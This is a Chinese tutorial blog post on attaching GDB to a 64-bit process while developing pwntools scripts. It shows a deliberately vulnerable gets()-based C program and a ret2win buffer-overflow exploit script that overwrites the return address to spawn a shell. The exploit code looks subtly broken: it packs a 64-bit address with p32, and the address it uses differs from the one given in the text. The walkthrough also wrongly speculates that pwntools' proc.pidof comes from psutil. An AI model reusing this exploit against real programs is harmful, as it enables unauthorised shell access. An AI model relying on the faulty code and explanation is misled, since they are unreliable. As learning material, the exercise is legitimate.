如何在GDB中附加调试64位程序,尤其是在开发脚本时?

1. 使用GDB调试64位程序

当我们处理 ELF 文件时,可能需要进行动态调试。在这种情况下,我们通常会借助 GDB 工具。而在使用 pwntools 进行开发时,pwntools 提供了对 GDB 的内置支持模块,简化了调试流程。

其中,最常见的方法是使用 attach 函数,特别是在你已经指定了目标进程时,这个函数可以非常方便地将 GDB 附加到进程上。通过调用 process 来启动或获取目标进程,并通过 proc 模块查找对应进程的 PID。

2. PwnTools 脚本调试流程

在使用 pwntools 开发脚本时,调试的常见流程如下:

  • 首先,使用 proc.pidof() 函数,这个函数会帮助你检测并打印出目标进程的 PID。

  • 然后,通过 GDB 的 attach 命令将调试器附加到指定的进程。这样,你就可以在执行过程中对目标进程进行详细的动态调试。

实例程序

#include<stdio.h>
void exploit()
{
    system("/bin/sh");
}
void main()
{
    char buf[20];
    gets(buf); 
}

这里我就不编译了,前面应该已经学会了,看一下checksec的结果。

会发现和02那节那个不一样了,没有显示出地址计算偏移。举个例子,有的时候会踩过一个大坑,过去了才发现,然后标记一下。有时候在没踩到之前就看到了,然后标记一下,能看到这就是在ret停住了,没过去地址是0x40056a。

我们还是直接计算偏移量就好了,能看到偏移量是40。

from pwn import *
import binascii
#context (os='linux', arch='amd64', log_level='debug')

p = process("./test" )
print("pid" + str(proc.pidof(p))) #

offset = 40
payload = offset*b"A" + p32(0x400537) 
#pause()
p.sendline(payload)
p.interactive()

解释:print("pid" + str(proc.pidof(p))) #

  1. proc.pidof(p):

  • 这里的proc是一个变量,可能是指向某个进程管理相关的模块或对象。在某些操作系统(例如Linux)中,可以使用proc模块(如psutil库)获取系统进程的信息。pidof(p)通常用来获取进程对象p的PID。

  • 具体到psutil库,这样的用法可能类似于psutil.Process(p).pid。然而,这里的pidof(p)应该是返回一个进程ID或PID的集合,或者是与操作系统相关的某个函数。

  1. str(proc.pidof(p)):

  • proc.pidof(p)获取的是进程的PID,可能是一个整数或列表。为了能将这个PID与其他字符串拼接,使用str()函数将其转换为字符串类型。

  1. "pid" + str(proc.pidof(p)):

  • 这一部分将字符串"pid"proc.pidof(p)的结果拼接在一起。假设proc.pidof(p)返回的是PID 1234,那么这个表达式最终的结果将是"pid1234"

  1. print():

  • 最后,print()函数会输出前面拼接好的字符串。举例来说,如果proc.pidof(p)返回的是1234,那么输出结果将会是:

    pid1234
    

假设proc是一个进程管理模块(如psutil),p是一个进程对象或进程ID,该代码获取进程p的PID,并将其与字符串"pid"拼接,最后打印出来。例如,如果进程p的PID是1234,输出结果就是pid1234

gdb附加

第十行是pause()在发送payload前暂停了

能看到已经暂停了,输出了pid

这时候gdb attach 4674去调试这个进程,能看到我们现在在这一行。

这时候我们就可以单步去测试我们的程序了。